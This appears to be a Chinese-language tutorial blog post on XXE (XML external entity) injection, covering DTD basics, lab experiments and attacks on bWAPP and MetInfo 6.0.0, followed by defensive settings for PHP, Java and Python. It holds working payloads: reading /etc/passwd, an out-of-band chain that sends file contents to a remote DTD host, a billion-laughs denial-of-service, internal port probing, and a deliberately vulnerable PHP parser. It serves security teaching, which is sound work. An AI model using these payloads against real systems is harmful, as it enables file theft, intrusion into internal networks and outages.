本文系pwn2web原創,轉載請說明出處php
XXE 漏洞,全名爲XML External Entity Injection,因爲程序在解析輸入的XML數據時,解析了攻擊者精心構造的外部實體。html
一 預備知識web
0x01 XML類型文件結構sql
XML設計用來傳送及攜帶數據信息,不用來表現或展現數據,HTML則用來表現數據,因此XML用途的焦點是它說明數據是什麼,以及攜帶數據信息。瀏覽器
XML定義結構、存儲信息、傳送信息。主要格式以下:服務器
<!--XML申明--> <?xml version="1.0"?> <!--文檔類型定義--> <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT to (#PCDATA)> <!--定義to元素爲」#PCDATA」類型--> <!ELEMENT from (#PCDATA)> <!--定義from元素爲」#PCDATA」類型--> <!ELEMENT head (#PCDATA)> <!--定義head元素爲」#PCDATA」類型--> <!ELEMENT body (#PCDATA)> <!--定義body元素爲」#PCDATA」類型--> ]]]> <!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
下例爲小張發送給大元的便條,存儲爲XML。架構
<?xml version="1.0"?> <小紙條> <收件人>大元</收件人> <發件人>小張</發件人> <主題>問候</主題> <具體內容>早啊,飯吃了沒? </具體內容> </小紙條>
每一個XML文檔都由XML序言開始,在前面的代碼中的第一行就是XML序言,<?xml version="1.0"?>。這一行代碼會告訴解析器或瀏覽器這個文件應該按照XML規則進行解析。app
可是,根元素到底叫<小紙條>仍是<小便條>,則是由文檔類型定義(DTD)或XML綱要(XML Schema)定義的。若是DTD規定根元素必須叫<小便條>,那麼若寫做<小紙條>就不符合要求。這種不符合DTD或XML綱要的要求的XML文檔,被稱做不合法的XML,反之則是合法的XML。dom
XML文件的第二行並不必定要包含文檔元素;若是有註釋或者其餘內容,文檔元素能夠遲些出現。工具
DTD文檔關鍵字:
0x02 文檔類型定義(DTD)與實體
DTD能夠分爲內部定義和外部引用。
內部:<!DOCTYPE 根元素 [元素聲明]>
外部:<!DOCTYPE 根元素 SYSTEM "文件名">
實體主要分爲如下幾種:
命名實體:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]> <value>&xxe;</value>
外部實體:
<!ENTITY 實體名稱 SYSTEM "URI">
參數實體:
<!ENTITY % 實體名稱 "實體的值">
<!ENTITY % 實體名稱 SYSTEM "URI">
字符實體
示例:
參數實體&外部實體
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///etc/passwd"> %name; ]>
命名實體&外部實體&參數實體
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value>
其中evil.xml文件內容爲:
<!ENTITY %all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
調用過程爲:參數實體dtd調用外部實體evil.xml,而後又調用參數實體all,接着調用命名實體send
0x03 外部實體
XXE漏洞主要利用了DTD引用外部實體致使的漏洞,咱們總結一下URL中能寫哪些外部實體:
二 XXE漏洞
0x01 漏洞探測
首先檢測xml是否被解析,經過在本地建立xml並輸入如下內容,雙擊點開查看是否能成功顯示出來name 的內容
檢測是否支持外部實體解析,建立xml文件遠程引用index.php文件,雙擊打開能夠看到文件回顯顯示在上面
訪問服務器日誌發現確實引用了index.php文件
0x02 漏洞應用
xxe利用主要有:
0x03 基礎實驗
實驗環境:winxp虛擬機
VMWARE 15.5 PRO
實驗工具:phpstudy2016
實驗測試腳本:
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo $creds; ?>
注意,這裏第一行開啓了實體引用的功能,網上不少博客的腳本沒有這一行,致使腳本復現不成功
實驗一 任意文件讀取
咱們編寫腳本讀取咱們建立1.txt文件,該文件內容爲文字「123」。
腳本以下:
實驗二 DOS攻擊
這裏只附上示例poc
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" ]> <lolz>&lol9;</lolz>
這個poc是著名的「billion laugh」攻擊,該攻擊經過建立一項遞歸的 XML 定義,在內存中生成十億個」Ha!」字符串,從而致使 DDoS 攻擊。
實驗三 探測內網信息
這裏主要介紹端口掃描,其餘的可參考https://www.freebuf.com/articles/web/177979.html
腳本:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> <root> <name>&xxe;</name> </root>
0x04 XXE漏洞實戰
一、BWAPP測試
這裏使用BWAPP虛擬機來進行實戰測試:你們能夠從 https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download 下載到該虛擬機,虛擬機導入後使用NAT轉換,查看IP地址,本機訪問
點擊Any bugs?進行抓包,發送到Repeater
由Content-type得知,就是將接收到的XML文件post給xxe-2.php
這裏直接用payload讀取就好:
或者進行內網探測:
首先探測開放的80端口,返回信息以下
再探測未開放的79端口:
報錯信息不同。
二、選取Metinfo6.0.0進行XXE漏洞實戰攻擊測試
米拓企業建站系統主要用於搭建企業網站,採用PHP+Mysql架構,全站內置了SEO搜索引擎優化機制,支持用戶自定義界面語言(全球各類語言),支持可視化傻瓜式操做、擁有企業網站經常使用的模塊功能(企業簡介模塊、新聞模塊、產品模塊、下載模塊、圖片模塊、招聘模塊、在線留言、反饋系統、在線交流、友情連接、網站地圖、會員與權限管理)。
下載地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
將解壓後的目錄放在phpstudy 的WWW目錄下,訪問安裝便可,安裝好以下圖:
按照漏洞的說明,問題發生在漏洞文件app/system/pay/web/pay.class.php
未禁止外部實體加載,測試是否存在外部實體引用,輸入
<!DOCTYPE note[ <!ENTITY quan SYSTEM "http://http://192.168.1.126/1.txt"> ]> <data>&quan;</data>
這裏192.168.1.126是另外一個虛擬機開啓的web服務,並在根目錄下放置了一個1.txt文件,咱們利用burp訪問並設置payload:
咱們去打開192.168.1.126網站的服務器訪問日誌看看是否訪問到了:
192.168.1.134是攻擊者主機,這就意味着成功的引用了外部實體
三 漏洞防護
使用相應開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC